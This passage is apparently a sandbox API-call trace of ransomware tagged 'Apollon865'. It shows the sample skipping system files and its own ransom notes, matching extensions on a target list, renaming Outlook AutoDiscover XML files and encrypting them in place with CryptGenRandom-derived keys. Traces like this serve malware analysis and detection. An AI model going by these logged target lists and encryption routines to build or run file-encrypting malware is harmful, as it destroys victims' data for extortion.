	[0070.108] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.108] lstrlenW (lpString="dbb") returned 3
	[0070.108] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.108] lstrlenW (lpString="vmdk") returned 4
	[0070.108] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.108] lstrlenW (lpString="rar") returned 3
	[0070.108] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.108] lstrlenW (lpString="zip") returned 3
	[0070.108] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.108] lstrlenW (lpString="tgz") returned 3
	[0070.108] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.108] lstrlenW (lpString="vbox") returned 4
	[0070.108] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.108] lstrlenW (lpString="vdi") returned 3
	[0070.108] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.108] lstrlenW (lpString="vhd") returned 3
	[0070.108] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.108] lstrlenW (lpString="vhdx") returned 4
	[0070.109] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.109] lstrlenW (lpString="avhd") returned 4
	[0070.109] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.109] lstrlenW (lpString="db") returned 2
	[0070.109] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.109] lstrlenW (lpString="db2") returned 3
	[0070.109] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.109] lstrlenW (lpString="db3") returned 3
	[0070.109] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.109] lstrlenW (lpString="dbf") returned 3
	[0070.109] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.109] lstrlenW (lpString="mdf") returned 3
	[0070.109] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.109] lstrlenW (lpString="mdb") returned 3
	[0070.109] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.109] lstrlenW (lpString="sql") returned 3
	[0070.109] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.109] lstrlenW (lpString="sqlite") returned 6
	[0070.109] lstrcmpiW (lpString1="MY.XML", lpString2="sqlite") returned -1
	[0070.109] lstrlenW (lpString="sqlite3") returned 7
	[0070.109] lstrcmpiW (lpString1=".MY.XML", lpString2="sqlite3") returned -1
	[0070.109] lstrlenW (lpString="sqlitedb") returned 8
	[0070.109] lstrcmpiW (lpString1="M.MY.XML", lpString2="sqlitedb") returned -1
	[0070.109] lstrlenW (lpString="xml") returned 3
	[0070.109] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.109] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML.Apollon865") returned 90
	[0070.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.110] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0070.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.110] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.111] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.111] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.111] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.113] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.113] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.114] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.114] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.115] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.115] CloseHandle (hObject=0x118) returned 1
	[0070.115] CloseHandle (hObject=0xc0) returned 1
	[0070.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.115] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.COM.PH.XML", cAlternateFileName="YA6D1B~1.XML")) returned 1
	[0070.115] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.115] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.115] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2=".") returned 1
	[0070.115] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="..") returned 1
	[0070.115] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="windows") returned 1
	[0070.115] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="bootmgr") returned 1
	[0070.115] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="temp") returned 1
	[0070.115] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="pagefile.sys") returned 1
	[0070.115] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="boot") returned 1
	[0070.116] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="ids.txt") returned 1
	[0070.116] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="ntuser.dat") returned 1
	[0070.116] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="perflogs") returned 1
	[0070.116] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2="MSBuild") returned 1
	[0070.116] lstrlenW (lpString="YAHOO.COM.PH.XML") returned 16
	[0070.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML") returned 79
	[0070.116] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.PH.XML" | out: lpString1="YAHOO.COM.PH.XML") returned="YAHOO.COM.PH.XML"
	[0070.116] lstrlenW (lpString="YAHOO.COM.PH.XML") returned 16
	[0070.116] lstrlenW (lpString="Apollon865") returned 10
	[0070.116] lstrcmpiW (lpString1="COM.PH.XML", lpString2="Apollon865") returned 1
	[0070.116] lstrlenW (lpString=".dll") returned 4
	[0070.116] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2=".dll") returned 1
	[0070.116] lstrlenW (lpString=".lnk") returned 4
	[0070.116] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2=".lnk") returned 1
	[0070.116] lstrlenW (lpString=".ini") returned 4
	[0070.116] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2=".ini") returned 1
	[0070.116] lstrlenW (lpString=".sys") returned 4
	[0070.116] lstrcmpiW (lpString1="YAHOO.COM.PH.XML", lpString2=".sys") returned 1
	[0070.116] lstrlenW (lpString="YAHOO.COM.PH.XML") returned 16
	[0070.116] lstrlenW (lpString="bak") returned 3
	[0070.116] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.116] lstrlenW (lpString="ba_") returned 3
	[0070.116] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.116] lstrlenW (lpString="dbb") returned 3
	[0070.116] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.116] lstrlenW (lpString="vmdk") returned 4
	[0070.116] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.116] lstrlenW (lpString="rar") returned 3
	[0070.116] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.116] lstrlenW (lpString="zip") returned 3
	[0070.116] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.116] lstrlenW (lpString="tgz") returned 3
	[0070.116] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.116] lstrlenW (lpString="vbox") returned 4
	[0070.116] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.116] lstrlenW (lpString="vdi") returned 3
	[0070.117] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.117] lstrlenW (lpString="vhd") returned 3
	[0070.117] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.117] lstrlenW (lpString="vhdx") returned 4
	[0070.117] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.117] lstrlenW (lpString="avhd") returned 4
	[0070.117] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.117] lstrlenW (lpString="db") returned 2
	[0070.117] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.117] lstrlenW (lpString="db2") returned 3
	[0070.117] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.117] lstrlenW (lpString="db3") returned 3
	[0070.117] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.117] lstrlenW (lpString="dbf") returned 3
	[0070.117] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.117] lstrlenW (lpString="mdf") returned 3
	[0070.117] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.117] lstrlenW (lpString="mdb") returned 3
	[0070.117] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.117] lstrlenW (lpString="sql") returned 3
	[0070.117] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.117] lstrlenW (lpString="sqlite") returned 6
	[0070.117] lstrcmpiW (lpString1="PH.XML", lpString2="sqlite") returned -1
	[0070.117] lstrlenW (lpString="sqlite3") returned 7
	[0070.117] lstrcmpiW (lpString1=".PH.XML", lpString2="sqlite3") returned -1
	[0070.117] lstrlenW (lpString="sqlitedb") returned 8
	[0070.117] lstrcmpiW (lpString1="M.PH.XML", lpString2="sqlitedb") returned -1
	[0070.117] lstrlenW (lpString="xml") returned 3
	[0070.117] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.117] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML.Apollon865") returned 90
	[0070.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.139] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0070.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.140] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.140] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.140] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.141] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.142] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.143] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.143] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.143] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.143] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.144] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.144] CloseHandle (hObject=0x118) returned 1
	[0070.144] CloseHandle (hObject=0xc0) returned 1
	[0070.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.144] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.COM.SG.XML", cAlternateFileName="YAC50A~1.XML")) returned 1
	[0070.144] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.144] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2=".") returned 1
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="..") returned 1
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="windows") returned 1
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="bootmgr") returned 1
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="temp") returned 1
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="pagefile.sys") returned 1
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="boot") returned 1
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="ids.txt") returned 1
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="ntuser.dat") returned 1
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="perflogs") returned 1
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2="MSBuild") returned 1
	[0070.145] lstrlenW (lpString="YAHOO.COM.SG.XML") returned 16
	[0070.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML") returned 79
	[0070.145] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.SG.XML" | out: lpString1="YAHOO.COM.SG.XML") returned="YAHOO.COM.SG.XML"
	[0070.145] lstrlenW (lpString="YAHOO.COM.SG.XML") returned 16
	[0070.145] lstrlenW (lpString="Apollon865") returned 10
	[0070.145] lstrcmpiW (lpString1="COM.SG.XML", lpString2="Apollon865") returned 1
	[0070.145] lstrlenW (lpString=".dll") returned 4
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2=".dll") returned 1
	[0070.145] lstrlenW (lpString=".lnk") returned 4
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2=".lnk") returned 1
	[0070.145] lstrlenW (lpString=".ini") returned 4
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2=".ini") returned 1
	[0070.145] lstrlenW (lpString=".sys") returned 4
	[0070.145] lstrcmpiW (lpString1="YAHOO.COM.SG.XML", lpString2=".sys") returned 1
	[0070.145] lstrlenW (lpString="YAHOO.COM.SG.XML") returned 16
	[0070.145] lstrlenW (lpString="bak") returned 3
	[0070.145] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.145] lstrlenW (lpString="ba_") returned 3
	[0070.145] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.145] lstrlenW (lpString="dbb") returned 3
	[0070.145] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.145] lstrlenW (lpString="vmdk") returned 4
	[0070.145] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.145] lstrlenW (lpString="rar") returned 3
	[0070.145] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.146] lstrlenW (lpString="zip") returned 3
	[0070.146] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.146] lstrlenW (lpString="tgz") returned 3
	[0070.146] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.146] lstrlenW (lpString="vbox") returned 4
	[0070.146] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.146] lstrlenW (lpString="vdi") returned 3
	[0070.146] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.146] lstrlenW (lpString="vhd") returned 3
	[0070.146] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.146] lstrlenW (lpString="vhdx") returned 4
	[0070.146] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.146] lstrlenW (lpString="avhd") returned 4
	[0070.146] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.146] lstrlenW (lpString="db") returned 2
	[0070.146] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.146] lstrlenW (lpString="db2") returned 3
	[0070.146] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.146] lstrlenW (lpString="db3") returned 3
	[0070.146] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.146] lstrlenW (lpString="dbf") returned 3
	[0070.146] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.146] lstrlenW (lpString="mdf") returned 3
	[0070.146] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.146] lstrlenW (lpString="mdb") returned 3
	[0070.146] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.146] lstrlenW (lpString="sql") returned 3
	[0070.146] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.146] lstrlenW (lpString="sqlite") returned 6
	[0070.146] lstrcmpiW (lpString1="SG.XML", lpString2="sqlite") returned -1
	[0070.146] lstrlenW (lpString="sqlite3") returned 7
	[0070.146] lstrcmpiW (lpString1=".SG.XML", lpString2="sqlite3") returned -1
	[0070.146] lstrlenW (lpString="sqlitedb") returned 8
	[0070.146] lstrcmpiW (lpString1="M.SG.XML", lpString2="sqlitedb") returned -1
	[0070.146] lstrlenW (lpString="xml") returned 3
	[0070.146] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.146] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML.Apollon865") returned 90
	[0070.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.148] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0070.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.148] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.149] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.149] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.149] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.151] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.151] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.152] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.152] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.152] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.152] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.153] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.153] CloseHandle (hObject=0x118) returned 1
	[0070.153] CloseHandle (hObject=0xc0) returned 1
	[0070.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
